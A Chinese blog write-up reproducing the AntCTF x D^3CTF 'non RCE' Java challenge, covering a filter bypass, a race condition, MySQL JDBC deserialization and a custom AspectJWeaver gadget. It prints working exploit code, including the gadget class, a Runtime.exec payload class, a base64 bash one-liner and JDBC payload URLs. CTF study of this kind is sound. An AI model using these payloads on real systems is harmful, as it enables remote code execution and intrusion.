AntCTF x D^3CTF [non RCE?] 赛后复现

前言

基本没怎么打CTF比赛了,最近空闲下来想拓展和活跃下思路,刚好看到AntCTF的一道web题目的writeup,打算跟着学习一波

环境搭建

首先搭好环境

https://github.com/Ant-FG-Lab/non_RCE

idea里面直接使用maven就可以,web启动在launch里面

这道题目考察的是

filter的配置绕过
条件竞争
mysql反序列化
AspectJWeaver的gadget构造
加载恶意类实现远程代码执行

知识点1

绕过filter

首先第一个点绕过LoginFilter,先看看这个filter的内容

大致意思是题目有个密码,基本爆破不了,访问admin/路径的时候会触发该filter验证密码,密码以password的get参数传入,password不对直接返回401认证失败

绕过方法是使用forward,恰巧AntiUrlAttackerFilter有forward操作

方式很简单将传入的./或者;替换为空并且将新的url传入forward即可

这是为什么呢,这里在@WebFilter 装饰器的参数中有个叫dispatcherTypes的参数,默认存在DispatcherType.REQUEST参数,而他还有DispatcherType.FORWARD、DispatcherType.INCLUDE、DispatcherType.ASYNC、DispatcherType.ERROR这4个参数,如果在设置中设置了dispatcherTypes所对应的参数,则会进行filter过滤,反之没有设置则不会再被filter进行过滤

因为此次为默认,只会过滤REQUEST请求,不会过滤FORWARD,则照成了绕过

此时使用forward跳转也会触发LoginFilter过滤器了

知识点2

jdbc中存在参数autoDeserialize,这个参数官方手册解释到

autoDeserialize:自动检测与反序列化存在BLOB字段中的对象。

但这个参数默认是false,因为可以控制jdbc的url于是我们需要将其设置为true,但是在BlackListChecker中设置了黑名单,中有autoDeserialize和%为黑名单内容

所以带上autoDeserialize请求会返回400,过滤%是为了过滤掉编码

但因为BlackList使用的单例工厂模式,即只有一个实例

再看check(String s)函数操作,取出实例后将传入的字符串放入setToBeChecked(String s)函数中,因为只有一个实例,所以每次请求都会刷新this.toBeChecked的值,意味着只要在被拦截的poc执行doCheck()之前将不被拦截的poc放入setToBeChecked(String s)中重新对this.toBeChecked赋值,则可绕过

也就是此处存在条件竞争,一个poc发送带有autoDeserialize字段的请求,另一个不带,2个爆破一起启动

知识点3

mysql反序列化,为了理解该点,我先手动添加commons.collections 3组件

那么mysql反序列化即在连接jdbc阶段即可触发,触发条件autoDeserialize=true在知识点2中已经解决,而mysql反序列化是因为下面一串代码照成,在mysql-connector-java中如果autoDeserialize=true则会调用到readObject()这是我们反序列的入口

public Object getObject(int columnIndex) throws SQLException {
……
case BLOB:
  byte[] data = getBytes(columnIndex);
  if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
     Object obj = data;
     // Serialized object?
     try {
       ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
       ObjectInputStream objIn = new ObjectInputStream(bytesIn);
       obj = objIn.readObject();
     }
  }
}

接下来需要一个参数statementInterceptors来加载对应的类触发反序列化的操作,这里网上查一下在5.1版本可以使用下面的类

statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

因此这里的poc进一步变成

jdbc:mysql://127.0.0.1:3306/hhsrc?autoDeserialize=true%26user=root%26password=root%26statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

接下来有触发,就是需要被readObject()的数据如何传入了,但是在mysql-connector-java中传入的columnIndex变量其实为sql语句执行后的返回内容,但是此处我们可以控制mysql的连接地址,因此可以做到去自定义mysql服务器的内容,让题目环境连接后触发,而com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor会触发下面的sql语句

SHOW SESSION STATUS

此时需要一个mysql服务器将内容返回为反序列的poc,即可完成利用,github有现成的工具

https://github.com/fnmsd/MySQL_Fake_Server

因为我3306的mysql已经启动,这里就将poc的端口设置为3307

以及对ysoserial.jar路径进行设置

使用dnslog查看是否存在漏洞

dnslog记录信息

使用poc

# touch /Users/mi0/Desktop/1.txt
# bash -c {echo,dG91Y2ggL1VzZXJzL21pMC9EZXNrdG9wLzEudHh0}|{base64,-d}|{bash,-i}

触发,我本机的java是jdk1.8 所以使用CommonsCollections5组件

发送poc成功添加文件,执行命令

添加成功

这里因为没有commons.collections类的组件,暂时我手动添加,利用AspectJWeaver组件和DataMap写在知识点4中

知识点4

反序列化构造,这里使用了AspectJWeaver组件,writeup中提到ysoserial项目中近期也更新了其poc,可以看看怎么写的

看到他使用了commons.collections组件,题目给的pom.xml中是没有该组件的,出题人也表示不想让选手直接使用现成的poc,因此此处需要自己写gadget的poc

这里构造gadget就需要DataMap文件中的代码,可以看到DataMap类是调用了Serializable接口是可以反序列化的

首先对AspectJWeaver进行分析,从ysoserial可知,使用反射调用了StoreableCachingMap,simpleCache即为实例

找到依赖包中的源码

StoreableCachingMap中对put方法进行了重写

跟进writeToPath方法,可以看到将 valueBytes的内容写到 key文件中

key文件的路径在poc中为当前目录

对其中调用的commons-collection3的理解,其中lazymap的作用,跟踪一下,发现在get不存在时会触发put操作

TiedMapEntry在调用getValue方法时会调用成员变量的map的key值

而HashMap在yso中的代码逻辑会调用对象的getValue()方法

大致逻辑是

HashMap(不依赖common-collection) -> 传入TiedMapEntry实例 -> 触发getValue
TiedMapEntry(依赖common-collection) -> 传入Lazymap实例和文件名 -> 触发getValue时,触发Lazymap的get()操作,参数为文件名
Lazymap(依赖common-collection) -> 传入AspectJWeaver实例和字符串 -> 触发get()操作时,触发传入AspectJWeaver实例的put()操作,key为文件名,value为字符串
AspectJWeaver(不依赖common-collection) —> 通过Lazymap执行put操作 -> 触发自身的put操作写入文件

那么此时就需要从DataMap中替换掉TideMapEntry和Lazymap以及Transformer,ConstantTransformer参数

通读DataMap可以大致建立替换关系

TiedMapEntry				=>	DataMap$Entry
Lazymap							=>	DataMap

进行修改,将原先Common-collection的组件进行替换,Entry是DataMap的内部内,因此反射声明的时候需要带上对应实例

大致逻辑如下

HashMap调用DataMap$EntryhasCode()

DataMap$EntryhasCode()触发this.getValue(),并且this.key参数为文件路径

this.value是为null的接下来触发外部的类DataMapget()方法

this.values的值为org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap强转后的map,该值在此次会被判定为空,则进入this.vaules.put()中,也就是StoreableCachingMapput()方法,传入的key值为文件路径,v值为this.wrapperMap.get(文件路径)也就是content变量(即文件内容),运行下poc

成功新加文件

添加aaa.txt文件

知识点5

现在问题来了,整个知识点4的反序列化流程分析完,该漏洞只能做到对服务器上进行写文件,但题目的环境基本没有使用jsp之类可直接运行脚本文件。也就是如果存在个上传点,也无法实现webshell上传

这里可以利用知识点3中的statementInterceptors来帮助我们完成rce,也就是第一步上传能弹shell的类到指定路径,第二步用statementInterceptors调用上传的类实现rce

先打包试试原生态的aaa.txt的poc

使用知识点3的方法,这里方便调试我把知识点2中的blacklist的黑名单过滤关了

在调试时遇到个坑(是我对反序列化还不够了解导致的),包的路径必须和目标的路径相同才能反序列成功,因此对yso中添加的DataMap的位置进行了调整

现在调试成功,可以对目标服务器写入文件了

接下来是路径文件,如果使用.的当前目录,则会写到项目的根目录下

现在的想法是写到我们能调用的目录下面去,那么应该在target/classes目录下面,准备反序列化的poc

我在servlet目录下生成一个叫做poc的类

package servlet;
import java.io.*;

public class poc implements Serializable {

    private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException {
        out.defaultReadObject();
    }
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec("touch /Users/mi0/Desktop/1.txt");
    }
}

通过以下代码生成反序列化字符串

poc o = new poc();
FileOutputStream fileOutputStream = new FileOutputStream("/Users/mi0/Desktop/serialize.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(o);

下一步修改mysql反序列工具中的二进制字段,让返回值为我们生成的序列化文件内容

尝试一下,成功

本地调试成功,接下来就是把poc类传到目标服务器即可,将poc.class提取出来并保存为base64

import base64

f = open('poc.class', 'rb')
clazz = f.read()
result = base64.b64encode(clazz)
print(result)

把目录下的poc.java删除,重新打包

mysql反序列工具中添加我们的poc

发送,成功添加

修改mysql反序列化为打开生成的poc文件后再次发送,成功执行touch命令

解题流程

在上面5个知识点将题目分解成5个知识点并逐个调试完成后,现将整个题目进行复现

编写根据题目提供的DataMap类的反序列化gadget

package ysoserial.payloads;

import org.apache.commons.codec.binary.Base64;
import org.python.modules.time.Time;
import checker.DataMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;


@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2"})
@Authors({ "sijidou" })

public class Antictf implements ObjectPayload<Serializable> {

    public Serializable getObject(final String command) throws Exception {
        int sep = command.lastIndexOf(';');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
        }
        String[] parts = command.split(";");
        String filename = parts[0];
        byte[] content = Base64.decodeBase64(parts[1]);

        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Object simpleCache = ctor.newInstance(".", 12);

        HashMap wrapperMap = new HashMap();
        wrapperMap.put(filename,content);
        DataMap dataMap = new DataMap(wrapperMap, (Map)simpleCache);
        Constructor Entryctor = Reflections.getFirstCtor("checker.DataMap$Entry");
        Reflections.setAccessible(Entryctor);
        Object entry = Entryctor.newInstance(dataMap, filename);

        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entry);

        return map;

    }

    public static void main(String[] args) throws Exception {
        args = new String[]{"bbb.txt;YWhpaGloaQ=="};
        PayloadRunner.run(Antictf.class, args);
    }
}

使用maven打包成jar包,idea能够快速打包,在右侧栏点开maven,点击compile再点package即可,生成的jar包在target目录下

编写恶意类,运行生成serialize.txt

package servlet;

import java.io.*;
import java.io.Serializable;

public class poc implements Serializable {
    public poc() {
    }

    private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException {
        out.defaultReadObject();
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec("touch /Users/mi0/Desktop/1.txt");
    }

    public static void main(String[] args) throws Exception {
        poc o = new poc();
        FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(o);
    }
}

运行后使用python脚本将class的内容转换为base64

import base64

f = open('poc.class', 'rb')
clazz = f.read()
result = base64.b64encode(clazz)
print(result)

编辑mysql反序列化工具的config.json,并修改生成的yso的jar包的路径

https://github.com/fnmsd/MySQL_Fake_Server

启动mysql工具(我这里启到3307端口的),使用条件竞争执行,执行反序列化写文件

重复发送1000次

修改mysql反序列化工具代码,将传入字符串改为poc的反序列化值

重新启动mysql反序列化的server.py,再次重复条件竞争

成功添加

参考

https://blog.csdn.net/fnmsd/article/details/106232092

https://meizjm3i.github.io/2021/03/07/Servlet中的时间竞争以及AsjpectJWeaver反序列化Gadget构造-AntCTFxD-3CTF-non-RCE题解/

https://daybr4ak.github.io/2021/03/12/no-RCE反序列化链分析/![]

posted @ 2021-04-08 11:06  sijidou  阅读(1717)  评论(0编辑  收藏  举报